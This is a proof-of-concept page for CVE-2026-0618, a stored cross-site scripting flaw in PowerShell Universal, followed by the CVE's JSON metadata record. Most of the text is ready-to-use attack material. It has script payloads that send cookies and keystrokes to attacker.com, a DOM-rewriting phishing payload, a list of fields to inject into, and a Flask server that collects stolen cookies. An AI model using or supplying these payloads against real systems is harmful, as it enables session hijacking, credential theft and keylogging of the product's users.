CVE-2026-0618

<!-- CVE-2026-0618 PoC: Stored XSS in PowerShell Universal --> <!-- Target: PowerShell Universal < 4.5.6, < 5.6.13 --> <!-- Method 1: Basic XSS payload --> <script>alert(document.cookie)</script> <!-- Method 2: Cookie stealing payload --> <img src=x onerror="this.src='https://attacker.com/steal?c='+document.cookie"> <!-- Method 3: Session hijacking with fetch API --> <script>fetch('https://attacker.com/log?data='+btoa(document.cookie))</script> <!-- Method 4: Keylogger payload --> <script> document.addEventListener('keypress', function(e) { fetch('https://attacker.com/keys?k='+e.key) }) </script> <!-- Method 5: DOM manipulation for phishing --> <script> document.body.innerHTML = document.body.innerHTML.replace('Login', 'Security Alert'); </script> <!-- Usage: Inject above payloads into vulnerable input fields: - User profile settings - Script parameters - Dashboard widgets - Custom scripts --> <!-- Attacker-controlled server (Python): --> ''' # Python server to receive stolen cookies from flask import Flask, request app = Flask(__name__) @app.route('/steal') def steal(): cookie = request.args.get('c') print(f'[+] Stolen cookie: {cookie}') # Log to file or database with open('stolen_cookies.txt', 'a') as f: f.write(f'{cookie}\n') return 'OK' if __name__ == '__main__': app.run(host='0.0.0.0', port=8080) '''

{"cve": {"id": "CVE-2026-0618", "sourceIdentifier": "[email protected]", "published": "2026-01-07T17:16:02.127", "lastModified": "2026-01-30T01:41:53.137", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-site Scripting vulnerability in Devolutions PowerShell Universal.This issue affects Powershell Universal: before 4.5.6, before 5.6.13."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ironmansoftware:powershell_universal:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.5.6", "matchCriteriaId": "2FF914AA-9D44-43A2-9C86-6E0AC4D125D5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ironmansoftware:powershell_universal:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.6.13", "matchCriteriaId": "764743E5-62D2-4ACD-B0C2-5D75CBBDF17C"}]}]}], "references": [{"url": "https://devolutions.net/security/advisories/DEVO-2026-0001/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}